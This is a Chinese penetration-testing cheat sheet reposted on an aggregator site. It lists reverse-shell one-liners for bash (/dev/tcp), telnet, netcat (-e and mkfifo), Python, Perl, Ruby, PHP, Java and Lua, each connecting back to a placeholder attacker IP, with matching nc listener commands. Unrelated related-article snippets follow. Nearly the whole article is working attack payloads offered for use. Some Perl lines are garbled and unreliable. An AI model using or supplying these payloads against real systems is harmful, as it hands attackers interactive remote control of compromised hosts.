内网渗透-反弹shell的N种姿势

2024-04-15 10:28
文章标签 shell 渗透 姿势 反弹

本文主要是介绍内网渗透-反弹shell的N种姿势,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

反弹shell的N种姿势

文章目录
  • 反弹shell的N种姿势
  • 0x00 前言
  • 0x01 Bash反弹
    • 1.1 方法一
    • 1.2 方法二
    • 1.3 方法三
  • 0x02 telnet反弹
    • 2.1 方法一
    • 2.2 方法二
  • 0x03 nc(netcat)反弹
  • 0x04 常见脚本反弹
    • 4.1 python
    • 4.2 perl
      • 4.2.1 方法一
      • 4.2.2 方法二
    • 4.3 Ruby
      • 4.3.1 方法一
      • 4.3.2 方法二
    • 4.4 PHP
    • 4.5 Java
    • 4.6 Lua
  • 0x05 总结
  • 0x06 参考连接

0x00 前言

在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。

0x01 Bash反弹

1.1 方法一

攻击者主机上执行监听:

nc -lvvp port

目标主机上执行:

bash -i >& /dev/tcp/x.x.x.x/port 0>&1
#bash -i 打开一个交互的bash
#>& 将标准错误输出重定向到标准输出
#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

inux shell下常用的文件描述符是:

1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;

2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;

3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。

1.2 方法二

exec 0&0 2>&0

0<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196

/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1

1.3 方法三

exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

0x02 telnet反弹

2.1 方法一

攻击者主机上打开两个终端分别执行监听:

nc -lvvp 4444
nc -lvvp 5555

目标主机中执行:

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip

反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。

2.2 方法二

rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

0x03 nc(netcat)反弹

攻击者主机上执行监听命令:

nc -lvvp port

目标主机上执行:

nc -e /bin/bash x.x.x.x port

如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f

注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信

nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555 #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。
nc -c /bin/sh x.x.x.x 4444
/bin/sh | nc x.x.x.x 4444

0x04 常见脚本反弹

4.1 python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“x.x.x.x”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);’

4.2 perl

4.2.1 方法一
perl -e ‘use Socket; i = " x . x . x . x " ; i="x.x.x.x"; i="x.x.x.x";p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,ineta​ton(i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh -i”);};’
4.2.2 方法二
perl -MIO -e ‘ p = f o r k ; e x i t , i f ( p=fork;exit,if( p=fork;exit,if(p); c = n e w I O : : S o c k e t : : I N E T ( P e e r A d d r , " x . x . x . x : 5555 " ) ; STDIN−>fdopen(c,r); − > f d o p e n ( ~->fdopen( −>fdopen(c,w);system$_ while<>;’

4.3 Ruby

4.3.1 方法一

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“x.x.x.x”,“5555”);while(cmd=c.gets);IO.popen(cmd,“r”){|io|c.print io.read}end’

4.3.2 方法二

ruby -rsocket -e’f=TCPSocket.open(“x.x.x.x”,5555).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

4.4 PHP

php -r ‘$sock=fsockopen(“x.x.x.x”,5555);exec(“/bin/bash -i <&3 >&3 2>&3”);’

4.5 Java

public class Revs {
/**

  • @param args
  • @throws Exception
    */
    public static void main(String[] args) throws Exception {
    // TODO Auto-generated method stub
    Runtime r = Runtime.getRuntime();
    String cmd[]= {“/bin/bash”,“-c”,“exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done”};
    Process p = r.exec(cmd);
    p.waitFor();
    }
    }

4.6 Lua

lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘x.x.x.x’,‘5555’);os.execute(‘/bin/sh -i <&3 >&3 2>&3’);”

注:以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击者ip,并且需要在攻击者主机上进行监听:
nc -lvvp 5555

0x05 总结

上面提到的是常见的反弹shell的方式,肯定还有其他的方式,欢迎大家补充,这里也会不断的跟新。

0x06 参考连接

https://www.bertramc.cn/2017/07/14/38.html
http://www.myh0st.cn/index.php/archives/237/
https://www.anquanke.com/post/id/85712
https://blog.csdn.net/wanzt123/article/details/81879599

这篇关于内网渗透-反弹shell的N种姿势的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/905558

相关文章

shell脚本快速检查192.168.1网段ip是否在用的方法

《shell脚本快速检查192.168.1网段ip是否在用的方法》该Shell脚本通过并发ping命令检查192.168.1网段中哪些IP地址正在使用,脚本定义了网络段、超时时间和并行扫描数量,并使用... 目录脚本:检查 192.168.1 网段 IP 是否在用脚本说明使用方法示例输出优化建议总结检查 1

jenkins 插件执行shell命令时,提示“Command not found”处理方法

首先提示找不到“Command not found,可能我们第一反应是查看目标机器是否已支持该命令,不过如果相信能找到这里来的朋友估计遇到的跟我一样,其实目标机器是没有问题的通过一些远程工具执行shell命令是可以执行。奇怪的就是通过jenkinsSSH插件无法执行,经一番折腾各种搜索发现是jenkins没有加载/etc/profile导致。 【解决办法】: 需要在jenkins调用shell脚

站长常用Shell脚本整理分享(全)

站长常用Shell脚本整理分享 站长常用Shell脚本整理分享1-10 站长常用Shell脚本整理分享11-20 站长常用Shell脚本整理分享21-30 站长常用Shell脚本整理分享31-40 站长常用Shell脚本整理分享41-50 站长常用Shell脚本整理分享51-59 长期更新

Shell脚本实现自动登录服务器

1.登录脚本 login_server.sh #!/bin/bash# ReferenceLink:https://yq.aliyun.com/articles/516347#show all host infos of serverList.txtif [[ -f ./serverList.txt ]]thenhostNum=`cat ./serverList.txt | wc -l`e

[轻笔记]ubuntu shell脚本切换conda环境

source /home/yourhostname/anaconda3/etc/profile.d/conda.sh # 关键!!!conda activate env_name

[轻笔记] ubuntu Shell脚本实现监视指定进程的运行状态,并能在程序崩溃后重启动该程序

根据网上博客实现,发现只能监测进程离线,然后对其进行重启;然而,脚本无法打印程序正常状态的信息。自己通过不断修改测试,发现问题主要在重启程序的命令上(需要让重启的程序在后台运行,不然会影响监视脚本进程,使其无法正常工作)。具体程序如下: #!/bin/bashwhile [ 1 ] ; dosleep 3if [ $(ps -ef|grep exe_name|grep -v grep|

adb shell 执行后台程序后断开adb后台进程被结束的解决办法

环境:Android 版本 Android8 通常让程序后台执行就是在命令 最后加上 &即可,但是在Android 8上实验发现,程序的确后台了,但是拔掉USB线再连接上发现进程已结束。不确定Android早期版本是否存在此问题。 参考网上一些Linux方法,如加nohup 仍然无效,还是会结束。看来Android adb shell 与 Linux shell 还是有一定区别。 后来在网上

shell脚本中变量中字符串替换的测试 /和//的区别

test_char=abbbcbbbf echo "bf:test_char = " $test_char test_char=${test_char/bbb/ddd} echo "af:test_char = " $test_char 输出: bf:test_char =  abbbcbbbf af:test_char =  adddcbbbf 只匹配第一个

shell循环sleep while例子 条件判断

i=1# 小于5等于时候才执行while [ ${i} -le 5 ]doecho ${i}i=`expr ${i} + 1`# 休眠3秒sleep 3doneecho done 参考 http://c.biancheng.net/cpp/view/2736.html

Linus常用的快捷键与shell常用通配符

一,常用快捷键: Ctrl+c这一个快捷键在Linux下的作用是强行终止当前程序(但不退出终端),其实在其他一些软件,比如MATLAB中,Ctrl+c也有终止程序的作用,如果你的程序进入了死循环,就可以用Ctrl+c来终止程序。 除了最普遍的Ctrl+c之外,还有以下快捷键:   按键  作用Ctrl+d 键盘输入结束或退出终端 Ctrl+s 暂定当前程序,暂停后